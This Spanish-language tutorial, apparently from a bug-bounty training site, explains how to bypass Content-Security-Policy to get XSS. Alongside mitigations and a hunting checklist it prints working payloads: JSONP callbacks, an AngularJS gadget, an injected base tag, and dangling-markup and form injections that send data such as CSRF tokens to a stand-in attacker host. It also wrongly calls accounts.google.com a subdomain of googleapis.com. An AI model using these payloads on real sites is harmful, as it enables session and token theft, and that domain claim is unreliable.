Respuesta rápida
CSP (Content-Security-Policy) es la mitigación principal de XSS en 2026. Pero un CSP "presente" no equivale a "seguro": permite endpoints JSONP, falta base-uri, hay AngularJS o frameworks con gadgets, dominios trusted con upload de archivos, o unsafe-inline en fallback. Cuando hay XSS pero CSP "lo bloquea", buscar bypasses específicos suele convertir un Self-XSS en Stored XSS pleno.
Anatomía de un CSP
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.target.tld 'nonce-abc123';
style-src 'self' 'unsafe-inline';
img-src 'self' data:;
connect-src 'self' https://api.target.tld;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
report-uri /csp-report;
Cada directiva puede tener su propio bypass.
Bypass 1 — JSONP en script-src
CSP permite script-src https://googleapis.com. Google APIs tiene endpoints JSONP que ejecutan JS arbitrario via callback param:
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)//"></script>
El response es JSON envuelto en el callback:
alert(1)//(...response...)
alert(1) se ejecuta. CSP pasa porque accounts.google.com (subdominio de googleapis.com en la whitelist) sirve el script.
Lista clásica de JSONP en allowlists comunes:
googleapis.com— múltiples APIs Google.cdn.jsdelivr.netcon paths a libs antiguas.code.jquery.com(no JSONP pero a veces UI-XSS).- Cualquier API de terceros con
?callback=o?jsonp=.
Detection
Buscar en script-src CDN dominios. Para cada uno, googlear "<domain> JSONP" o <domain> callback param.
Bypass 2 — base-uri ausente + nonce
CSP con nonce:
script-src 'nonce-abc123' 'self';
Si tienes XSS que puede inyectar HTML pero no scripts (porque no conoces el nonce), inyecta una <base> tag:
<base href="//attacker.tld/">
El browser hace que TODOS los recursos relativos del documento se resuelvan contra attacker.tld. Si la página luego carga <script src="/main.js">, ahora va a attacker.tld/main.js — el atacante sirve un JS arbitrario.
Mitigación: base-uri 'self' o base-uri 'none'.
Bypass 3 — AngularJS gadgets
Si la página usa AngularJS y el CSP permite script-src 'self' 'unsafe-eval' o solo 'self' y AngularJS está en self:
<div ng-app ng-csp>
<input autofocus ng-focus="$event.composedPath()|orderBy:'(z=alert)(1)'">
</div>
AngularJS evalúa expresiones en atributos. Si está en la página y el atacante mete HTML con directivas ng-*, ejecuta JS aunque CSP esté.
Lista de gadgets en AngularJS bien conocida (HackTricks tiene todos los expression payloads).
Otros frameworks
- Vue.js con
v-htmlsin sanitizar y CSP que permite el dominio del Vue script. - React con
dangerouslySetInnerHTML(raro, pero existe). - Lodash + helpers transitivos.
Bypass 4 — strict-dynamic con XSS controlling existing scripts
script-src 'nonce-abc' 'strict-dynamic';
strict-dynamic significa "ignora whitelist, scripts cargados por scripts trusted son OK". Bypass: si XSS te permite inyectar HTML que un script existente convierte en <script> dinámicamente, ese script hereda trust:
// Código existente en la app
document.body.innerHTML += userInput; // si userInput contiene <script>, no carga (innerHTML no ejecuta)
// Pero
const scr = document.createElement('script');
scr.src = userInput;
document.body.appendChild(scr); // SI ejecuta, hereda nonce/trust
Si encuentras gadget que convierte input en script dinámico, bypass.
Bypass 5 — Dangling markup injection
Si CSP bloquea scripts pero no <img> y no style-src 'unsafe-inline':
<img src="//attacker.tld/?leak=
Sin cerrar la tag, el browser intenta cargar el src y absorbe TODO lo que viene después como parte de la URL hasta encontrar > o ". Si la siguiente parte de la página tiene un CSRF token o sensible data, viaja al request.
<img src="//attacker.tld/?leak=<input name="csrf" value="...">
attacker.tld recibe el csrf token via Referer/URL. Defacement parcial + token leak sin ejecutar JS.
Mitigación: Content-Security-Policy: img-src 'self' o filter <img src> que no termine con >.
Bypass 6 — Cuando script-src tiene wildcard subdomain
script-src 'self' *.target.tld
Si *.target.tld incluye dominios donde el atacante puede alojar contenido:
- Subdomain con upload de archivos (PDFs, archivos de usuario).
- Subdomain con HTML staging del propio user (profile pages, blog posts).
- Subdomain con CSV/XML que el browser puede interpretar como JS si tipo MIME está mal.
- Subdomain takeover.
Si uno de los subdominios sirve archivos .js controlados por usuarios → bypass.
Bypass 7 — JSON hijacking (legacy)
Frameworks que retornan JSON sin protección anti-CSRF:
[
{"id":1, "secret": "abc"},
{"id":2, "secret": "def"}
]
Si el endpoint responde JSON y el browser lo interpreta como JS (víctima visita attacker.tld que hace <script src="https://target.tld/api/data">), atacante puede capturar los valores via Object/Array prototype overrides en navegadores antiguos.
Mitigado en navegadores modernos pero vector contra apps con browsers legacy.
Bypass 8 — Service Workers
Si XSS te da control sobre /sw.js (subir archivo o injection en respuesta), puedes registrar Service Worker que intercepta fetches del origin:
self.addEventListener('fetch', e => {
if (e.request.url.includes('/api/')) {
e.respondWith(new Response('attacker controlled response'));
}
});
Persiste cross-page-load. CSP no aplica a service workers como tal.
Bypass 9 — Form action si form-action ausente
Si CSP no especifica form-action, falla a default-src o se permite. Inyectar:
<form action="//attacker.tld" id="f"><input name="x"></form>
<button form="f">Click me</button>
Si víctima escribe en input y submit → datos van a attacker. Bypass de "no inline scripts" via form interaction.
Cómo se reporta
Para que el triage acepte:
- PoC funcional que ejecuta
alert(document.domain)o leak medible. - CSP completo que demuestra que está aplicado.
- Vector completo: ¿de dónde viene el XSS original que estás bypaseando?
CSP bypasses puros sin XSS subyacente suelen ser N/A o Informational. Necesitas la chain.
Hunting checklist
- ¿CSP en respuesta? Captura el header.
- ¿
script-srcpermite dominios externos? Buscar JSONP en cada uno. - ¿
base-urideclarado? Si no, intentar dangling base. - ¿AngularJS / Vue / Lodash en la página y permitidos por CSP?
- ¿
strict-dynamiccon XSS que pueda crear scripts dinámicamente? - ¿
img-srcpermite cualquier URL? Probar dangling markup leak. - ¿
form-actiondeclarado? Si no, form externo posible. - ¿Subdomains en wildcard que permitan upload o XSS staging?
Mitigación correcta
- CSP estricta:
default-src 'none'como base, añadir solo lo necesario. script-src 'nonce-RANDOM' 'strict-dynamic'.base-uri 'none'(rara vez se necesita base href).form-action 'self'.frame-ancestors 'none'(mata clickjacking).- No
unsafe-inlineniunsafe-evalsalvo legacy bien justificado. - report-uri activo para detectar attempts de bypass en producción.
- Revisar subdominios whitelisted — ¿pueden hostear contenido user-controlled?
Labs relacionados
Practica CSP bypasses con JSONP, dangling markup, AngularJS gadgets y base-uri injection: labs de CSP bypass.
Practica esto en un lab
Xss
Sigue aprendiendo · cuenta gratis
Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.
Artículos relacionados
Stored XSS vía SVG con href javascript: en chat — reclasificación de Self-XSS
Un payload SVG subido como adjunto. Filtro bypassed. Renderizado inline en el contexto principal. Cualquier participante del chat queda expuesto al click.
Stored XSS en nombres de plantilla — del campo más aburrido al domain takeover
Un campo de título en una plantilla, sin sanitizar, en una sesión con permisos sobre dominios. Bounty real de €1.200. Cómo encontrar XSS donde nadie mira.
DOM XSS — gadgets, postMessage handlers y CVE-2025-59840
DOM XSS no es solo innerHTML. Sources/sinks, gadget chains via toString(), postMessage handlers sin origin check, hash-based routing rotos.